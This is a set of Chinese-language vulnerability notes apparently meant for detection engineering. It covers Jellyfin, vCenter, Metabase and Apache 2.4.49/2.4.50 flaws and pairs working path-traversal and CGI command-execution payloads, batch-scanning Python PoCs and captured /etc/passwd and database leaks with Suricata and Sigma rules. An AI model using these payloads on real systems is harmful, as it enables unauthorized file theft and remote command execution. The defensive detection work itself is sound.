Jellyfin是一个自由软件媒体系统,在10.7.1版之前的Jellyfin中,攻击者可以通过精心构造的请求读取Jellyfin服务器端的任意文件,当使用Windows主机作为操作系统时,此问题将变得跟加普遍,该漏洞已在10.7.1版本中修复。
影响范围:Jellyfin<10.7.1
## 检测日志
HTTP
## 测试复现
### 利用POC
从服务器下载带有密码的jellyfin.db:
/Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/
未经授权读取windows的文件
GET /Audio/anything/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.aac/
GET /Audio/anything/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/
读取host文件
/Audio/anything/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cdrivers%5Cetc%5Chosts/stream.mp3/
读取带有密码的数据库文件
/Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/
### Python_POC
```
python
# 批量ip
import requests
import sys
import urllib3
urllib3.disable_warnings()
- -------------------------
if len(sys.argv)!=2:
print('Usage: python3 xxx.py urls.txt')
sys.exit()
txt= sys.argv[1]
f=open(txt,'r+')
for i in f.readlines(): --------------------------
url=i.strip()
url=url+"/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36',
"Content-Type": "application/octet-stream"
}
response=requests.get(url,headers=headers,verify=False)
if response.status_code==200:
print(url+" "+"存在漏洞")
- -------------------------
else:
print(url+" "+"不存在漏洞")
```
```
python
# 单个ip
import requests
import sys
import urllib3
urllib3.disable_warnings()
- -------------------------
if len(sys.argv)!=2: --------------------------
print('Usage: python3 xxx.py http://xxx.xxx.xxx.xxx ')
sys.exit()
url= sys.argv[1]
url=url+"/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36',
"Content-Type": "application/octet-stream"
}
response=requests.get(url,headers=headers,verify=False)
if response.status_code==200:
print("存在漏洞")
- -------------------------
else:
print("不存在漏洞")
```
## 测试留痕
```
yml
GET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ HTTP/1.1
Host: 10.16.45.164:5577
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Edg/89.0.774.68
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
HTTP/1.1 200 OK
Date: Thu, 08 Apr 2021 10:13:59 GMT
Content-Type: application/octet-stream
Server: Microsoft-NetCore/2.0, UPnP/1.0 DLNADOC/1.50
Content-Length: 331776
Cache-Control: public
Last-Modified: Sun, 04 Apr 2021 15:34:24 GMT
Accept-Ranges: bytes
Age: 326376
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Cookie, Date, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, Slug, Transfer-Encoding, Want-Digest, X-MediaBrowser-Token, X-Emby-Authorization
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
Access-Control-Allow-Origin: 110.93.247.208:5577
SQLite format 3......@ ...@...Q...............................................................@..?...........................................................}...?+...indexIX_AccessSchedules_UserIdAccessSchedules.CREATE INDEX "IX_AccessSchedules_UserId" ON "AccessSchedules" ("UserId").<
..##..?tablePreferencesPreferences.CREATE TABLE "Preferences" (
"Id" INTEGER NOT NULL CONSTRAINT "PK_Preferences" PRIMARY KEY AUTOINCREMENT,
"Kind" INTEGER NOT NULL,
"Value" TEXT NOT NULL,
"RowVersion" INTEGER NOT NULL,
"Preference_Preferences_Guid" TEXT NULL,
CONSTRAINT "FK_Preferences_Users_Preference_Preferences_Guid" FOREIGN KEY ("Preference_Preferences_Guid") REFERENCES "Users" ("Id") ON DELETE RESTRICT
).? ..##..EtablePermissionsPermissions
CREATE TABLE "Permissions" (
"Id" INTEGER NOT NULL CONSTRAINT "PK_Permissions" PRIMARY KEY AUTOINCREMENT,
"Kind" INTEGER NOT NULL,
"Value" INTEGER NOT NULL,
"RowVersion" INTEGER NOT NULL,
"Permission_Permissions_Guid" TEXT NULL,
CONSTRAINT "FK_Permissions_Users_Permission_Permissions_Guid" FOREIGN KEY ("Permission_Permissions_Guid") REFERENCES "Users" ("Id") ON DELETE RESTRICT
).X...!!..{tableImageInfosImageInfos CREATE TABLE "ImageInfos" (
"Id" INTEGER NOT NULL CONSTRAINT "PK_ImageInfos" PRIMARY KEY AUTOINCREMENT,
"UserId" TEXT NULL,
"Path" TEXT NOT NULL,
"LastModified" TEXT NOT NULL,
CONSTRAINT "FK_ImageInfos_Users_UserId" FOREIGN KEY ("UserId") REFERENCES "Users" ("Id") ON DELETE RESTRICT
).....++..etableAccessSchedulesAccessSchedules.CREATE TABLE "AccessSchedules" (
"Id" INTEGER NOT NULL CONSTRAINT "PK_AccessSchedules" PRIMARY KEY AUTOINCREMENT,
"UserId" TEXT NOT NULL,
"DayOfWeek" INTEGER NOT NULL,
"StartHour" REAL NOT NULL,
"EndHour" REAL NOT NULL,
CONSTRAINT "FK_AccessSchedules_Users_UserId" FOREIGN KEY ("UserId") REFERENCES "Users" ("Id") ON DELETE CASCADE
)..........tableUsersUsers.CREATE TABLE "Users" (
"Id" TEXT NOT NULL CONSTRAINT "PK_Users" PRIMARY KEY,
"Username" TEXT NOT NULL,
"Password" TEXT NULL,
"EasyPassword" TEXT NULL,
"MustUpdatePassword" INTEGER NOT NULL,
"AudioLanguagePreference" TEXT NULL,
"AuthenticationProviderId" TEXT NOT NULL,
"PasswordResetProviderId" TEXT NOT NULL,
"InvalidLoginAttemptCount" INTEGER NOT NULL,
"LastActivityDate" TEXT NULL,
"LastLoginDate" TEXT NULL,
"LoginAttemptsBeforeLockout" INTEGER NULL,
"SubtitleMode" INTEGER NOT NULL,
"PlayDefaultAudioTrack" INTEGER NOT NULL,
"SubtitleLanguagePreference" TEXT NULL,
"DisplayMissingEpisodes" INTEGER NOT NULL,
"DisplayCollectionsView" INTEGER NOT NULL,
"EnableLocalPassword" INTEGER NOT NULL,
"HidePlayedInLatest" INTEGER NOT NULL,
"RememberAudioSelections" INTEGER NOT NULL,
"RememberSubtitleSelections" INTEGER NOT NULL,
"EnableNextEpisodeAutoPlay" INTEGER NOT NULL,
"EnableAutoLogin" INTEGER NOT NULL,
"EnableUserPreferenceAccess" INTEGER NOT NULL,
"MaxParentalAgeRating" INTEGER NULL,
"RemoteClientBitrateLimit" INTEGER NULL,
"InternalId" INTEGER NOT NULL,
"SyncPlayAccess" INTEGER NOT NULL,
"RowVersion" INTEGER NOT NULL
))...=...indexsqlite_autoindex_Users_1Users.P...++.Ytablesqlite_sequencesqlite_sequence.CREATE TABLE sqlite_sequence(name,seq).)...%%...tableActivityLogsActivityLogs.CREATE TABLE "ActivityLogs" (
"Id" INTEGER NOT NULL CONSTRAINT "PK_ActivityLogs" PRIMARY KEY AUTOINCREMENT,
"Name" TEXT NOT NULL,
"Overview" TEXT NULL,
"ShortOverview" TEXT NULL,
"Type" TEXT NOT NULL,
"UserId" TEXT NOT NULL,
"ItemId" TEXT NULL,
"DateCreated" TEXT NOT NULL,
"LogSeverity" INTEGER NOT NULL,
"RowVersion" INTEGER NOT NULL
).X...77..Otable__EFMigrationsHistory__EFMigrationsHistory.CREATE TABLE "__EFMigrationsHistory" (
"MigrationId" TEXT NOT NULL CONSTRAINT "PK___EFMigrationsHistory" PRIMARY KEY,
"ProductVersion" TEXT NOT NULL
)I...]7..indexsqlite_autoindex___EFMigrationsHistory_1__EFMigrationsHistor
......
```
## 检测规则/思路
### Suricata规则
```
s
alert http any any -> any any (msg:"CVE-2021-21402-Jellyfin任意文件读取";flow:established,to_server;content:"GET";http_method;content:"/Audio/";pcre:"/hls/";pcre:"/stream/";http_uri;reference:url,www.cnblogs.com/0day-li/p/14637768.html;classtype:web-application-attck;sid:3002021;rev:1;)
```
### 建议
流量+安全设备比较容易检测到此攻击行为。
## 参考推荐
MITRE-ATT&CK-T1190
Jellyfin任意文件读取漏洞(CVE-2021-21402)
================================================
FILE: Web/2021/T1190-CVE-2021-21972 Vmware vcenter未授权任意文件读取:RCE漏洞.md
================================================
# T1190-CVE-2021-21972 Vmware vcenter未授权任意文件/RCE漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
2021年02月24日,某些平台监测到 Vmware官方发布了vCenter Server安全更新,修复了vSphereClient (HTML5)在vCenter Server插件vRealizeOperations(vROps)中的一个远程代码执行漏洞(CVE-2021-21972)。VMware vCenter Server是美国威睿(VMware)公司的一套服务器和虚拟化管理软件。该软件提供了一个用于管理VMware vCenter环境的集中式平台,可自动实施和交付虚拟基础架构。攻击者可通过访问web管理端向vCenter Server发送请求从而在操作系统上执行任意命令或者上传一个webshell到vcenter服务器的任意位置执行
具有网络访问端口443的恶意行为者可能会利用此问题在托管vCenter Server的基础操作系统上以不受限制的特权执行命令。这会影响VMware vCenter Server(7.0 U1c之前的7.x,6.7 U3l之前的6.7和6.5 U3n之前的6.5)和VMware Cloud Foundation(4.2.3之前的4.x和3.10.1.2之前的3.x)。
此外,VMware还修复了VMware ESXi中一个重要的堆溢出漏洞(CVE-2021-21974)与VMware vSphere中的一个SSRF漏洞(CVE-2021-21973)。
### 0x1 影响版本
```
yml
VMware vCenter Server 7.0系列 < 7.0.U1c
VMware vCenter Server 6.7系列 < 6.7.U3l
VMware vCenter Server 6.5系列 < 6.5 U3n
VMware ESXi 7.0系列 < ESXi70U1c-17325551
VMware ESXi 6.7系列 < ESXi670-202102401-SG
VMware ESXi 6.5系列 < ESXi650-202102101-SG
```
### 0x2 漏洞详情
可参考:
CVE-2021-21972 Vmware vcenter未授权任意文件/RCE漏洞:
CVE-2021-21972 vCenter 远程命令执行漏洞分析:
CVE-2021-21972-vCenter-6.5-7.0-RCE-POC:
## 检测日志
HTTP.log,主要是基于POC报文进行检测,POC如下:
```
python
import requests
from requests.packages import urllib3
urllib3.disable_warnings()
import argparse
import os
def url():
parser = argparse.ArgumentParser(description='vCenter 6.5-7.0 RCE 漏洞复现(CVE-2021-21972)POC')
parser.add_argument('target_url',type=str,help='The target address,example: https://192.168.140.153:4445')
args = parser.parse_args()
global url
url = args.target_url
if url.startswith('http://') or url.startswith('https://'):
pass
else:
print('[-]Please include http:// or https:// in the URL!!')
os._exit(0)
if url.endswith('/'):
url = url[:-1]
print('[+]author:chenchen')
print("[-]目标地址:",url)
print("[-]正在执行漏洞检测...")
return url
def poc():
headers={
'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36',
"Content-Type":"application/x-www-form-urlencoded"
}
url_v = url + '/ui/vropspluginui/rest/services/updateova'
try:
code = requests.get(url=url_v,headers=headers,timeout=4,verify=False).status_code
print('status_code:',code)
if code == 405:
print('[+]漏洞存在')
else:
print('[-]漏洞不存在')
except:
print('[-]发生错误')
if __name__ == '__main__':
url()
poc()
```
## 测试复现
可参考漏洞详情部分
## 检测规则/思路
### sigma规则
```
yml
title: CVE-2021-21972 Vmware vcenter未授权任意文件/RCE漏洞
status: 测试状态
description: 基于HTTP日志进行检测
references:
- https://cert.360.cn/report/detail?id=62aac9b181bcfcb2b5faf33c6907a3dc
- https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/blob/main/CVE-2021-21972.py
logsource:
category: webserver #http_log
detection:
selection:
cs-method: 'POST' #请求方法为post
c-uri: #请求url中包含以下路径
- '/ui/vropspluginui/rest/services/uploadova'
condition: selection
fields:
- c-ip
- c-dns
falsepositives:
- OVA uploads to your VSphere appliance
level: high
```
### 建议
建议使用HTTP流量+安全设备(如天眼等)进行检测分析判断攻击是否成功。
## 参考推荐
MITRE-ATT&CK-T1190
CVE-2021-21972 Vmware vcenter未授权任意文件/RCE漏洞
CVE-2021-21972 vCenter远程命令执行漏洞分析
CVE-2021-21972-vCenter-6.5-7.0-RCE-POC
================================================
FILE: Web/2021/T1190-CVE-2021-41277-Metabase 敏感信息泄露漏洞.md
================================================
# T1190-CVE-2021-41277-Metabase敏感信息泄露漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## Metabase敏感信息泄露漏洞(CVE-2021-41277)
metabase是一个简单、开源的数据分析平台。
在受影响的版本中,自定义GeoJSON地图(admin->settings->maps->custom maps->add a map)操作缺少权限验证,攻击者可通过该漏洞获得敏感信息。
### 影响版本
影响版本:
```
yml
metabase version < 0.40.5
metabase version >= 1.0.0, < 1.40.5
```
FOFA查询语句:app="metabase"
### 测试案例
POC:/api/geojson?url=file:/etc/passwd
### 检测日志
HTTP.log
### 测试复现
```
yml
GET /api/geojson?url=file:/etc/passwd HTTP/1.1
Host: *.*.*.*:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Fri, 26 Nov 2021 12:34:30 GMT
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Last-Modified: Fri, 26 Nov 2021 20:34:30 +0800
Strict-Transport-Security: max-age=31536000
Set-Cookie: metabase.DEVICE=dd8c913f-87fb-483f-9e65-623657a0ca5a;HttpOnly;Path=/;SameSite=Lax;Expires=Sun, 17 Nov 2041 12:06:40 +0800
X-Permitted-Cross-Domain-Policies: none
Cache-Control: max-age=0, no-cache, must-revalidate, proxy-revalidate
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'none'; script-src 'self' 'unsafe-eval' https://maps.google.com https://apis.google.com https://www.google-analytics.com https://*.googleapis.com *.gstatic.com 'sha256-lMAh4yjVuDkQ9NqkK4H+YHUga+anpFs5JAuj/uZh0Rs=' 'sha256-sMNbXyc1lLzhHbH/CKs11HIQMnMkZAN2eA99WhJeEC0=' 'sha256-JJa56hyDfUbgNfq+0nq6Qs866JKgZ/+qCq2pkDJED8k='; child-src 'self' https://accounts.google.com; style-src 'self' 'unsafe-inline'; font-src 'self' ; img-src * 'self' data:; connect-src 'self' metabase.us10.list-manage.com ; manifest-src 'self'; frame-ancestors 'none';
Content-Type: application/json
Content-Encoding: gzip
Expires: Tue, 03 Jul 2001 06:00:00 GMT
Transfer-Encoding: chunked
Server: Jetty(9.4.32.v20200930)
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-bus-proxy:x:999:998:systemd Bus Proxy:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:998:997:User for polkitd:/:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:997:995::/var/lib/chrony:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
ops:x:1000:1000::/home/ops:/bin/bash
service:x:1001:1001::/home/service:/bin/bash
zabbix:x:1002:1002::/home/zabbix:/sbin/nologin
grafana:x:996:994:grafana user:/usr/share/grafana:/sbin/nologin
mysql:x:995:1003::/usr/local/mysql:/sbin/nologin
saslauth:x:994:76:Saslauthd user:/run/saslauthd:/sbin/nologin
metabase:x:1003:1004::/home/metabase:/bin/bash
redis:x:993:991:Redis Database Server:/var/lib/redis:/sbin/nologin
nginx:x:992:990:Nginx web server:/var/lib/nginx:/sbin/nologin
openvpn:x:991:989:OpenVPN:/etc/openvpn:/sbin/nologin
```
### 检测规则/思路
Suricata规则
```
s
alert http any any -> any any (msg:"CVE-2021-41277-rsq";flow:established,to_server;content:"GET";http_method;content:"/api/geojson?url=file:/etc/passwd";http_uri;reference:url,github.com/Seals6/CVE-2021-41277;flowbits:set,first_rsq;noalert;classtype:web-application-attck;sid:1;rev:1;)
alert http any any -> any any (msg:"CVE-2021-41277-Metabase敏感信息泄露漏洞";flow:established,to_client;content:"200";http_stat_code;content:"/bin/bash";http_server_body;flowbits:isset,first_rsq;sid:2;rev:1;)
```
## 备注
本案例仅做防御检测研究,请勿用于非法用途。
## 参考推荐
MITRE-ATT&CK-T1190
CVE-2021-41277-POC
================================================
FILE: Web/2021/T1190-CVE-2021-41773-Apache HTTP Server 2.4.49 路径穿越漏洞.md
================================================
# T1190-CVE-2021-41773-Apache HTTP Server 2.4.49路径穿越漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.49版本中,引入了一个路径穿越漏洞,满足下面两个条件的Apache服务器将会受到影响:
版本等于2.4.49
穿越的目录允许被访问,比如配置了Require all granted。(默认情况下是不允许的)
攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。
## 漏洞详情
使用如下CURL命令来发送Payload(注意其中的/icons/必须是一个存在且可访问的目录):
```
yml
curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
```
可见,成功读取到/etc/passwd:
```
yml
* Trying 10.211.55.10...
* TCP_NODELAY set
* Connected to 10.211.55.10 (10.211.55.10) port 8080 (#0)
> GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
> Host: 10.211.55.10:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Sun, 10 Oct 2021 03:40:43 GMT
< Server: Apache/2.4.49 (Unix)
< Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
< ETag: "39e-5cceec7356000"
< Accept-Ranges: bytes
< Content-Length: 926
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
* Connection #0 to host 10.211.55.10 left intact
* Closing connection 0
```
在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:
```
yml
curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
```
```
yml
* Trying 10.211.55.10...
* TCP_NODELAY set
* Connected to 10.211.55.10 (10.211.55.10) port 8080 (#0)
> POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
> Host: 10.211.55.10:8080
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Length: 7
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 7 out of 7 bytes
< HTTP/1.1 200 OK
< Date: Sun, 10 Oct 2021 03:45:29 GMT
< Server: Apache/2.4.49 (Unix)
< Transfer-Encoding: chunked
<
uid=1(daemon) gid=1(daemon) groups=1(daemon)
* Connection #0 to host 10.211.55.10 left intact
* Closing connection 0
```
## 检测日志
HTTP.log
```
http.log
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 10.211.55.10:8080
User-Agent: curl/7.64.1
Accept: */*
HTTP/1.1 200 OK
Date: Sun, 10 Oct 2021 03:36:46 GMT
Server: Apache/2.4.49 (Unix)
Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
ETag: "39e-5cceec7356000"
Accept-Ranges: bytes
Content-Length: 926
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
```
```
http.log
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 10.211.55.10:8080
User-Agent: curl/7.64.1
Accept: */*
Content-Length: 7
Content-Type: application/x-www-form-urlencoded
echo;idHTTP/1.1 200 OK
Date: Sun, 10 Oct 2021 03:36:51 GMT
Server: Apache/2.4.49 (Unix)
Transfer-Encoding: chunked
2d
uid=1(daemon) gid=1(daemon) groups=1(daemon)
0
```
## 测试复现
可参考漏洞详情部分
## 检测规则/思路
### sigma规则
```
yml
title: CVE-2021-41773-Apache HTTP Server 2.4.49路径穿越漏洞
status: 测试状态
description: 基于HTTP日志进行检测
references:
- https://github.com/vulhub/vulhub/blob/master/httpd/CVE-2021-41773/README.zh-cn.md
- https://www.t00ls.cc/viewthread.php?tid=62967&highlight=CVE-2021-41773
detection:
selection1:
cs-method: 'POST' #请求方法为POST
c-uri: #请求url中包含以下路径
- '.%2e/.%2e/.%2e/.%2e'
selection2:
cs-method: 'GET' #请求方法为GET
c-uri: '.%2e/%2e%2e/%2e%2e/%2e%2e/'
condition: selection
fields:
- c-ip
- c-dns
falsepositives:
- 观察返回状态码是否为200 OK。
level: high
```
### 建议
建议使用HTTP流量+安全设备(如天眼等)进行检测分析判断攻击是否成功。
## 参考推荐
MITRE-ATT&CK-T1190
CVE-2021-41773 Apache漏洞分析及RCE思路
Apache HTTP Server 2.4.49 路径穿越漏洞(CVE-2021-41773)
================================================
FILE: Web/2021/T1190-CVE-2021-42013-Apache HTTP Server 2.4.50 路径穿越漏洞.md
================================================
# T1190-CVE-2021-42013-Apache HTTP Server 2.4.50路径穿越漏洞
## 来自ATT&CK的描述
使用软件,数据或命令来利用面向Internet的计算机系统或程序中的弱点,从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站,但是可以包括数据库(例如SQL),标准服务(例如SMB 或SSH)以及具有Internet可访问开放的任何其他应用程序,例如Web服务器和相关服务。根据所利用的缺陷,这可能包括“利用防御防卫”。
如果应用程序托管在基于云的基础架构上,则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。
对于网站和数据库,OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。
## 测试案例
Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。Apache官方在2.4.50版本中对2.4.49版本中出现的目录穿越漏洞CVE-2021-41773进行了修复,但这个修复是不完整的,CVE-2021-42013是对补丁的绕过。
攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。
这个漏洞可以影响Apache HTTP Server 2.4.49以及2.4.50两个版本。
## 漏洞详情
使用CVE-2021-41773中的Payload已经无法成功利用漏洞了,说明2.4.50进行了修复。
但我们可以使用.%%32%65进行绕过(注意其中的/icons/必须是一个存在且可访问的目录):
```
yml
curl -v --path-as-is http://your-ip:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
```
可见,成功读取到/etc/passwd:
```
yml
curl -v --path-as-is http://10.211.55.10:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
* Trying 10.211.55.10...
* TCP_NODELAY set
* Connected to 10.211.55.10 (10.211.55.10) port 8080 (#0)
> GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1
> Host: 10.211.55.10:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Sun, 10 Oct 2021 05:33:12 GMT
< Server: Apache/2.4.50 (Unix)
< Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
< ETag: "39e-5cceec7356000"
< Accept-Ranges: bytes
< Content-Length: 926
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
